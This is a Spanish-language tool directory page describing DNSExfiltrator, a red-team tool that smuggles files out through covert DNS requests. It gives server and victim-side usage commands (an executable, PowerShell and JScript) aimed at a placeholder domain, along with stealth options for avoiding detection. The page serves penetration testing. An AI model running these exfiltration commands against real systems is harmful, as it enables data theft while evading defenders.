Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/arno0x/dnsexfiltrator
Exfiltración de DatosPruebas de PenetraciónRed TeamingAnálisis de DNS
GitHubarno0x/dnsexfiltrator

DNSExfiltrator

Exfiltración de datos a través de un canal encubierto de solicitudes DNS

Ver Repositorio
8841903hace 8 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

DNSExfiltrator

Autor: Arno0x0x - @Arno0x0x

DNSExfiltrator permite transferir (exfiltrar) un archivo a través de un canal encubierto de solicitudes DNS. Es básicamente una herramienta de prueba de fugas de datos que permite exfiltrar datos a través de un canal encubierto.

DNSExfiltrator tiene dos partes:

  1. El lado del servidor, que viene como un solo script de Python (dnsexfiltrator.py), que actúa como un servidor DNS personalizado, recibiendo el archivo.
  2. El lado del cliente (lado de la víctima), que viene en tres variantes:
  • dnsExfiltrator.cs: un script de C# que puede compilarse con csc.exe para proporcionar un ejecutable administrado de Windows.
  • Invoke-DNSExfiltrator.ps1: un script de PowerShell que proporciona exactamente las mismas funcionalidades al envolver el ensamblado dnsExfiltrator.
  • dnsExfiltrator.js: un script JScript que es una conversión del ensamblado DLL dnsExiltrator usando DotNetToJScript, y que proporciona exactamente las mismas funcionalidades.

Para que todo funcione debes poseer un nombre de dominio y configurar el registro DNS (NS) de ese dominio para que apunte al servidor que ejecutará el lado servidor de dnsexfiltrator.py.

Características

Por defecto, DNSExfiltrator utiliza el servidor DNS definido por el sistema, pero también puedes configurar uno específico (útil para depuración o para ejecutar el lado del servidor localmente, por ejemplo).

Alternativamente, usando el parámetro h, DNSExfiltrator puede realizar DoH (DNS sobre HTTP) usando los servidores DoH de Google o CloudFlare.

Por defecto, los datos a exfiltrar se codifican en base64URL para que quepan en las solicitudes DNS. Sin embargo, algunos resolvedores DNS pueden romper esta codificación (bastante justo ya que los FQDN no se supone que distingan entre mayúsculas y minúsculas de todos modos) al alterar la sensibilidad a mayúsculas/minúsculas, lo cual obviamente es importante para el proceso de codificación/descodificación. Para solucionar este problema, puedes usar la opción -b32 para forzar la codificación Base32 de los datos, lo que conlleva un pequeño aumento de tamaño. Si estás usando CloudFlare DoH, la codificación base32 se aplica automáticamente.

DNSExfiltrator soporta cifrado RC4 básico de los datos exfiltrados, usando la contraseña proporcionada para cifrar/descifrar los datos.

DNSExfiltrator también proporciona algunas características opcionales para evitar la detección:

  • limitación de solicitudes para permanecer más sigiloso al exfiltrar datos
  • reducción del tamaño de la solicitud DNS (por defecto intentará usar tantos bytes disponibles como sea posible en cada solicitud DNS para mayor eficiencia)
  • reducción del tamaño de la etiqueta DNS (por defecto intentará usar el tamaño de etiqueta más largo soportado de 63 caracteres)

Dependencias

La única dependencia está en el lado del servidor, ya que el script dnsexfiltrator.py depende de la librería externa dnslib. Puedes instalarla usando pip:

root@kitploit:~
pip install -r requirements.txt

Uso

LADO DEL SERVIDOR

Inicia el script dnsexfiltrator.py pasándole el nombre de dominio y la contraseña de descifrado a utilizar:

root@kitploit:~
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password

LADO DEL CLIENTE

Puedes ya sea usar la versión compilada, o el envoltorio de PowerShell (que es básicamente lo mismo) o el envoltorio JScript. En cualquier caso, los parámetros son los mismos, con una ligera diferencia en la forma de pasarlos en PowerShell.

1/ Usando el ejecutable de Windows compilado en C# (que puedes encontrar en el directorio release):

root@kitploit:~
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
      file:           [OBLIGATORIO] El nombre del archivo a exfiltrar.
      domainName:     [OBLIGATORIO] El nombre de dominio a usar para las solicitudes DNS.
      password:       [OBLIGATORIO] Contraseña usada para cifrar los datos a exfiltrar.
      -b32:           [OPCIONAL] Usar codificación base32 de los datos. Puede ser requerido por algunos resolvedores DNS que alteran mayúsculas/minúsculas.
      h:              [OPCIONAL] Usar servidores DoH (DNS sobre HTTP) de Google o CloudFlare.
      DNS_Server:     [OPCIONAL] El nombre o IP del servidor DNS a usar para las solicitudes DNS. Por defecto usa el del sistema.
      throttleTime:   [OPCIONAL] El tiempo en milisegundos a esperar entre cada solicitud DNS.
      requestMaxSize: [OPCIONAL] El tamaño máximo en bytes para cada solicitud DNS. Por defecto 255 bytes.
      labelMaxSize:   [OPCIONAL] El tamaño máximo en caracteres para cada etiqueta (subdominio) de la solicitud DNS. Por defecto 63 caracteres.

2/ Usando el script de PowerShell, pues, llámalo de la forma que prefieras (probablemente conoces montones de formas de invocar un script de PowerShell) junto con los parámetros del script. Ejemplo más básico:

root@kitploit:~
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]

Consulta la sección EJEMPLOS en el archivo del script para más ejemplos de uso.

3/ Usando el script JScript, pásale exactamente los mismos argumentos que usarías con el ejecutable independiente de Windows:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password

O, con algunas opciones:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500

PENDIENTE

  • Algunos pedirán cifrado AES en lugar de RC4, lo sé... quizás lo agregue más tarde.
  • Mostrar tiempo de transferencia estimado.
  • Mejorar el análisis de argumentos (Soy demasiado vago para aprender a usar una biblioteca de análisis de argumentos en C#, ojalá fuera tan simple como en Python).

DESCARGO DE RESPONSABILIDAD

Esta herramienta está destinada a ser utilizada solo de manera legal y legítima:

  • ya sea en tus propios sistemas como medio de aprendizaje, de demostración de lo que se puede hacer y cómo, o para probar tus mecanismos de defensa y detección
  • en sistemas para los que hayas sido oficial y legítimamente autorizado a realizar evaluaciones de seguridad (pentest, auditorías de seguridad)

Citando a los autores de Empire: No hay manera de construir herramientas ofensivas útiles para la industria legítima de seguridad informática mientras se impide simultáneamente que actores maliciosos abusen de ellas.

Descargar herramienta